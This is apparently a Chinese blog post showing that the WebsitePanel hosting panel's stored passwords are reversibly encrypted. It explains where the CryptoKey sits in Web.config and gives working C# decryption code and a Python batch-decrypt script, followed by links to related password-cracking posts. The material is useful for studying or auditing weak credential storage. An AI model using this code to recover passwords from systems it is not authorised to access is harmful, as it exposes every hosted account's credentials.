WebsitePanel是一套Windows系统中的虚拟主机管理系统,可以同时管理多台服务器。

通过反编译该系统的dll发现该系统的密码加密方式可逆。

解密流程

1,获取密钥

密钥保存在  Enterprise Server\Enterprise Server\Web.config 文件中

<add key="WebsitePanel.CryptoKey" value="qgyd********a0drj" />中的value的内容即为密钥

2,替换代码中的密钥位置,保存为c#文件,编译

 1 using System;
2 using System.IO;
3 using System.Security.Cryptography;
4 using System.Text;
5
6 public class Hello
7 {
8 public static void Main(string[] args)
9 {
10 int arg;
11 //Console.WriteLine(args[0].ToString());
12 string InputText = args[0].ToString();
13 string cryptoKey = "<你的加密密钥>";
14 RijndaelManaged rijndaelManaged = new RijndaelManaged();
15 byte[] array = Convert.FromBase64String(InputText);
16 byte[] bytes = Encoding.ASCII.GetBytes(cryptoKey.Length.ToString());
17 PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(cryptoKey, bytes);
18 ICryptoTransform transform = rijndaelManaged.CreateDecryptor(passwordDeriveBytes.GetBytes(32), passwordDeriveBytes.GetBytes(16));
19 MemoryStream memoryStream = new MemoryStream(array);
20 CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
21 byte[] array2 = new byte[array.Length];
22 int count = cryptoStream.Read(array2, 0, array2.Length);
23 memoryStream.Close();
24 cryptoStream.Close();
25 //return Encoding.Unicode.GetString(array2, 0, count);
26 Console.WriteLine(Encoding.Unicode.GetString(array2, 0, count));
27 }
28 }
29

3,编译后 decrypt.exe <password>即可解密单个密码

批量解密可把所有密码都保存到一个txt里,然后编写脚本批量解密,比如下面的python脚本

 1 import sys
2 import os
3
4 decrycmd = "WebsitePanel_password_decrypto.exe {password}"
5 fp = open("hash.txt","r")
6 hash = fp.readlines()
7 fp.close()
8
9 passwordlist = []
10 for p in hash:
11 p = p.strip()
12 content = os.popen(decrycmd.format(password=p))
13 passwordlist.append(p+" >>> "+content.read()+"\n")
14
15 fp = open("password.txt","w+")
16 fp.writelines(passwordlist)
17 fp.close()

WebsitePanel密码解密的更多相关文章

  1. [信安Presentation]一种基于GPU并行计算的MD5密码解密方法

    -------------------paper--------------------- 一种基于GPU并行计算的MD5密码解密方法 0.abstract1.md5算法概述2.md5安全性分析3.基 ...

  2. DedeCms密码解密[转]

    dede 的密码怎么破解,dede后台.32位的DEDE密码如何破解 dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5. 比如我的数据 ...

  3. Hill密码解密过程(Java)

    Hill密码是一种传统的密码体系.加密原理:选择一个二阶可逆整数矩阵A称为密码的加密矩阵,也就是这个加密体系的密钥.加密过程: 明文字母依次逐对分组,例如加密矩阵为二阶矩阵,明文就两个字母一组,如果最 ...

  4. [个人论文]一种基于GPU并行计算的MD5密码解密方法

    求轻喷... [顺便get一份LaTeX论文模板....还是XeLaTex好用.珍爱生命远离CJK http://files.cnblogs.com/files/pdev/paper.zip

  5. [原创]K8正方系统密码解密工具

    工具: K8_zfsoftDecode编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/8/1 1 ...

  6. [原创]K8 DNN密码解密工具(DotNetNuke Password Decrypt)

    工具: K8_DNN_Password_Decrypt编译: VS2012  C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http: ...

  7. [原创]K8 CMS GoastGuard 密码解密工具

    工具: K8 CMS GoastGuard PASS Decrypt编译: VS2012  C# (.NET Framework v4.5)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客 ...

  8. 困在栅栏里的恺撒WriteUp(附栅栏密码加密解密脚本)

    题目地址:http://www.shiyanbar.com/ctf/1867 这道题目并不难,就是先用栅栏密码解密,然后再用恺撒密码解密就好. 1. 6代表了栅栏密码的栏数(说实话,一开始我也没看出来 ...

  9. 围在栅栏中的爱WriteUp(附QWE密码加解密脚本)

    题目的链接:http://www.shiyanbar.com/ctf/1917 1.首先题目给出的是摩尔斯电码: 在下面的网站上解密:https://www.cryptool.org/en/cto-c ...

随机推荐

  1. 老板,来几道web玩玩

    好久没做web了,没想到还能自己做出来555 [MRCTF2020]Ez_bypass 签到题8 给了源码,一个md5强类型比较,然后post传参,弱类型判断,直接1234567a绕过了 I put ...

  2. 微信小程序picker组件两列关联使用方式

    在使用微信小程序picker组件时候,可以设置属性   mode = multiSelector   意为多列选择,关联选择,当第一列发生改变时侯,第二列甚至第三列发生相应的改变.但是官方文档上给的只 ...

  3. Guava - 拯救垃圾代码,写出优雅高效,效率提升N倍

    最近在看一个同学代码的时候,发现代码中大量使用了 Google 开源的 Guava 核心库中的内容,让代码简单清晰了不少,故学习分享出 Guava 中我认为最实用的功能. Guava 项目是 Goog ...

  4. CPU上下文

    CPU上下文 包括CPU寄存器和程序计数器(Program Counter,PC). CPU寄存器,是CPU内置的容量小.但速度极快的内存. 程序计数器,是用来存储CPU正在执行的指令位置.或者即将执 ...

  5. Windows2008R2+ IIS7.5+php+mysql 搭建教程

    Windows2008R2+ IIS7.5+php+mysql 搭建教程 1. IIS7.5安装安装角色时候因为 Fastcgi 的需要, aspnet 和 asp 都要选装. 我为了方便,所有的除 ...

  6. MVC IIS 403.14

    描述:HTTP Error 403.14 - Forbidden The Web server is configured to not list the contents of this direc ...

  7. Java学习的第三天

    1.今天学了main函数具体的解读如 main函数关键字的意义 变量命名 2.在2.1当中的cmd命令实施失败,文件路径没有找到. 3.明天学习变量范围和注释阅读大道至简.

  8. Object of type Decimal is not JSON serializable

    json遇到Decimal 型数据无法正确处理 解决方案 import json result = [ {'name': '小红', 'age': 26, 'balance': decimal.Dec ...

  9. Python3网络学习案例一:Ping详解

    1. 使用Ping做什么 ping用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常.网络是否通畅等. 2. 效 ...

  10. 使用Apache Hudi + Amazon S3 + Amazon EMR + AWS DMS构建数据湖

    1. 引入 数据湖使组织能够在更短的时间内利用多个源的数据,而不同角色用户可以以不同的方式协作和分析数据,从而实现更好.更快的决策.Amazon Simple Storage Service(amaz ...